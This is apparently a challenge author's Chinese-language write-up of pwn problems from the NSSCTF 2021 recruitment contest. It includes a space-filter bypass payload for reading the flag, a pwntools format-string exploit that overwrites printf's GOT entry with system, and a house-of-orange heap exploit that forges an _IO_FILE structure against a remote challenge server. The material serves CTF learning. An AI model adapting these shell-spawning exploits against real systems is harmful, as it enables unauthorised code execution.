[NSSCTF 2021]招新赛Pwn出题人笔记

Pwn

Pwn1

过滤了一般拿来读文件的一些命令以及空格

payload

tac$IFS$9flag

Pwn2~4

这三个题都是《CTF从0到1》上的模板,直接照着打就行 pwn2:修改返回地址为gift pwn3:puts泄露libc地址,ret2libc pwn4: 由于开了pie,格式化字符串泄露程序地址和libc地址,然后再利用格式化字符串任意地址写

关于pwn4在测的时候发现了一个有意思的现象

from pwn import * 

p = process('pwn4')
elf =  ELF("pwn4")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(log_level='debug',arch='amd64',os='linux')
p.recvuntil("say: ")
p.sendline("%17$p%21$p")


p.recvuntil("0x")
elf_base = int(p.recv(12),16)-elf.sym['_start']
p.recvuntil("0x")
libc_base = int(p.recv(12),16)-0x20840
print(hex(elf_base))
print(hex(libc_base))

printf = elf_base+elf.got['printf']
system = libc_base+libc.sym['system']

payload = fmtstr_payload(6,{printf:system})
print(payload)

p.recvuntil("say: ")
p.sendline(payload)

p.interactive()

用这个exp可以拿到一个sh的shell,但不是每一次都能成功,由于成功率太低,也没有动态调试,希望有知道原因的大佬可以为我解惑。磕头啦,砰砰砰。

Pwn5

这个题前段时间学house of orange学到的一个题,然后套了个base64编译码表的验证。

利用格式化字符串泄露地址,然后利用gets溢出修改top chunk大小,申请超过top chunk大小的块得到unsortedbin,最后伪造_IO_FILE结构体,修改虚表指针来get shell

exp

from pwn import * 

p = remote("1.14.71.254",28062)
elf =  ELF("pwn5")
libc = ELF("libc-2.23.so")
context(log_level='debug',arch='amd64',os='linux')

def add(size,content):
   p.recvuntil("word: ")
   p.sendline(str(size))
   p.recvuntil("say: ")
   p.sendline(content)

p.recvuntil("username = ")
p.sendline("NSSCTF")
p.recvuntil("password = ")
p.sendline("NSSCTF{b@se_xx_64}")

p.recvuntil("word: ")
p.sendline("0x18")
p.recvuntil("say: ")
p.sendline(b'a'*0x10+p64(0)+p64(0xfe1))


p.recvuntil("word: ")
p.sendline("0x1000")
p.recvuntil("say: ")

p.sendline("%9$p%3$p")
#gdb.attch(p)
p.recvuntil("0x")
heap_base = int(p.recv(12),16)-0x21010
p.recvuntil("0x")
libc_base = int(p.recv(12),16)-0xf73c0

print(hex(heap_base))
print(hex(libc_base))


system_addr = libc_base + libc.sym['system']
IO_list_all = libc_base + libc.symbols['_IO_list_all']


payload = b'a'*0x400
payload1 = b'/bin/sh\x00'+ p64(0x60)
payload1 += p64(0)+p64(IO_list_all-0x10)
payload1 += p64(0)+p64(1)
payload1 = payload1.ljust(0xc0,b'\x00')
payload1 += p64(0)*3 + p64(heap_base + 0x508)
payload1 += p64(1)*2
payload1 += p64(system_addr)
payload = payload+payload1
add(0x400,payload)
#gdb.attach(p)
p.sendline("1")
#gdb.attach(p)

p.interactive()

后来看师傅们的讨论,才发现我被非预期了,有的师傅找地方打的rop,有的师傅打把栈迁移到堆上,还有师调 malloc realloc调通了, 果然我还是太菜了。给各位pwn👴磕头🌶,砰砰砰

[1]  http://static.zybuluo.com/hgggg/kgn1pamo0ny94c70oeuysz33/Cache_-36b9d8e9cc4ee054..jpg 

发表评论